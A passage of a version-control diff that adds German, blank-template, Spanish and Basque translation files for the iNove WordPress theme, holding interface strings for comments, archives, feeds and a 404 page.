blog..." +msgstr "Diesen Blog abonnieren..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Abonnieren mit" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Diesen Blog per Email abonnieren..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Email feed" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Gehe zur Homepage" + +#: single.php:7 +msgid "Home" +msgstr "Home" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "Suchtext hier eingeben" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/default.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/default.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:01+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "" + +#: 404.php:22 +msgid "Talker" +msgstr "" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "" + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "" + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "" + +#: archive.php:10 +msgid "Search Results" +msgstr "" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "" + +#: archive.php:14 +msgid "Archive" +msgstr "" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "" + +#: archive.php:28 +msgid "F, Y" +msgstr "" + +#: archive.php:31 +msgid "Y" +msgstr "" + +#: archive.php:34 +msgid "Author Archive" +msgstr "" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "" + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "" + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "" + +#: comments.php:34 +msgid "Trackback" +msgstr "" + +#: comments.php:58 +msgid "No comments yet." +msgstr "" + +#: comments.php:72 +msgid "Comment pages" +msgstr "" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "" + +#: comments.php:150 +msgid "Logged in as" +msgstr "" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "" + +#: comments.php:151 +msgid "Logout »" +msgstr "" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "" + +#: comments.php:158 +msgid "Change »" +msgstr "" + +#: comments.php:159 +msgid "Close »" +msgstr "" + +#: comments.php:166 +msgid "Name" +msgstr "" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "" + +#: comments.php:174 +msgid "Website" +msgstr "" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "" + +#: footer.php:17 +msgid "Top" +msgstr "" + +#: footer.php:27 +msgid "Copyright © " +msgstr "" + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "" + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "" + +#: functions.php:194 +msgid "Search" +msgstr "" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "" + +#: functions.php:201 +msgid "CX:" +msgstr "" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "" + +#: functions.php:213 +msgid "Menubar" +msgstr "" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "" + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "" + +#: functions.php:329 +msgid "Title:" +msgstr "" + +#: functions.php:345 +msgid "Posts" +msgstr "" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "" + +#: functions.php:396 +msgid "Email feed." +msgstr "" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "" + +#: functions.php:567 +msgid "Reply" +msgstr "" + +#: functions.php:568 +msgid "Quote" +msgstr "" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "" + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "" + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "" + +#: sidebar.php:28 +msgid "Google" +msgstr "" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "" + +#: sidebar.php:40 +msgid "Email feed" +msgstr "" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "" + +#: single.php:7 +msgid "Home" +msgstr "" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/es_ES.mo Binary file web/wp-content/themes/inove/languages/es_ES.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/es_ES.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/es_ES.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,569 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:45+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - todas las entradas" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - todos los comentarios" + +#: 404.php:22 +msgid "Talker" +msgstr "Hablador" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "¡Bienvenido a la página de error 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Bienvenido a esta página de error personalizada. Si estás viendo esta página es porque has hecho click sobre un enlace que no existe. Probablemente sea un fallo nuestro... pero en lugar de mostrarte la clásica página 'Error 404' que es confusa y realmente no explica nada, hemos creado esta otra página para explicar que fue mal." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Puedes tanto (a) pulsar en el botón 'volver' de tu navegador y probar a navegar a través de nuestra web, o (b) pulsar en el siguiente enlace para ir a la página de inicio." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Volver a la página de inicio »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Resultados de la búsqueda" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Palabra clave: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Archivo" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Archivo para la categoría ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Entradas Etiquetadas ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Archivo para %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "l, j \\d\\e F \\d\\e Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Archivo del autor" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Archivos del blog" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Editar" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Sin comentarios" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 comentario" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% comentarios" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Leer más..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Lamentablemente no existen entradas que coincidan con el criterio." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Entradas más nuevas" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Entradas más viejas" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Dejar un comentario" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Ir a comentarios" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Escriba su contraseña para ver los comentarios." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Comentarios" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Referencias" + +#: comments.php:34 +msgid "Trackback" +msgstr "Referencia" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Sin comentarios aún." + +#: comments.php:72 +msgid "Comment pages" +msgstr "" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s a las %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Sin trackbacks aún." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Comentarios cerrados." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Debes estar registrado para dejar un comentario." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Registrado como" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Cerrar sesión" + +#: comments.php:151 +msgid "Logout »" +msgstr "Desconectar »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Bienvenido de nuevo %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Cambiar »" + +#: comments.php:159 +msgid "Close »" +msgstr "Cerrar »" + +#: comments.php:166 +msgid "Name" +msgstr "Nombre" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(requerido)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "e-Mail (no será publicado)" + +#: comments.php:174 +msgid "Website" +msgstr "Sitio web" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Suscribirse a los comentarios" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Publicar comentario" + +#: footer.php:17 +msgid "Top" +msgstr "Arriba" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Tema por NeoEase. Valido XHTML 1.1 y CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Opciones actuales del tema" + +#: functions.php:194 +msgid "Search" +msgstr "Buscar" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Usando motor de busqueda personalizado de google." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Letrero en el blog" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML habilitado" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Este letrero se mostrará por encima de las entradas del blog." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "¿Quién puede verlo?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Usuarios registrados" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Comentarista" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Visitantes" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Letrero en la barra lateral" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Este letrero se mostrará en la parte superior de la barra lateral." + +#: functions.php:329 +msgid "Title:" +msgstr "Título:" + +#: functions.php:345 +msgid "Posts" +msgstr "Entradas" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Mostrar autor en las entradas." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Mostrar categorías en las entradas." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Mostrar etiquetas en las entradas." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Feed personalizado." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Feed email." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Guardar cambios" + +#: functions.php:567 +msgid "Reply" +msgstr "Responder" + +#: functions.php:568 +msgid "Quote" +msgstr "Citar" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Editar" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "" + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Editar enlaces" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Suscribirse a este blog..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Suscribir con" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Suscribirse a este blog vía email..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Feed email" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Ir a la página de inicio." + +#: single.php:7 +msgid "Home" +msgstr "Inicio" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/eu.mo Binary file web/wp-content/themes/inove/languages/eu.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/eu.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/eu.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,568 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:45+0900\n" +"PO-Revision-Date: 2009-08-07 14:02+0900\n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Basque\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - bidalketa denak" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - iruzkin denak" + +#: 404.php:22 +msgid "Talker" +msgstr "Hizlaria" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "404 errore orrialdea!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Nabigatzaileak ez du dokumentua aurkitu. Beharbada orri hori desagertu egin da, izena aldatu diote edo oraintxe ez dago eskuragarri. Mesedez, begiratu ea helbidea zuzena den." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Bi aukera dauzkazu (a) 'atzera' botoian klik egin eta beste modu batean saiatu, edo (b) ondorengo loturan klik egin orrialde nagusira joateko." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Itzuli orrialde nagusira »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Bilaketaren emaitzak" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Keyword: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Artxiboa" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "‘%1$s’ atalaren artxiboa" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "‘%1$s’rekin etiketatutako sarrerak" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s (r)entzako artxiboa" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "Y(\\e)\\k\\o Fk j" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Egilearen artxiboa" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Blogaren artxiboak" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Editatu" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Iruzkinik ez" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "Iruzkin 1" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% iruzkin" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Gehiago irakurri..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Barkatu, irizpide horiek betetzen dituen bidalketarik ez da aurkitu." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Sarrera berrienak" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Sarrera zaharrenak" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Iruzkin bat egin" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Iruzkinetara joan" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Iruzkinak ikusteko zure pasahitza idatzi." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Iruzkinak" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Aipuak" + +#: comments.php:34 +msgid "Trackback" +msgstr "Aipua" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Momentuz ez dago iruzkinik." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Iruzkinen orrialdeak" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s %2$s(e)tan" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Momentuz aipurik ez." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Iruzkinak itxita." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Iruzkinak egiteko saioa hasi behar duzu." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Saioa honela hasita:" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Saioa itxi" + +#: comments.php:151 +msgid "Logout »" +msgstr "Saioa itxi »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." 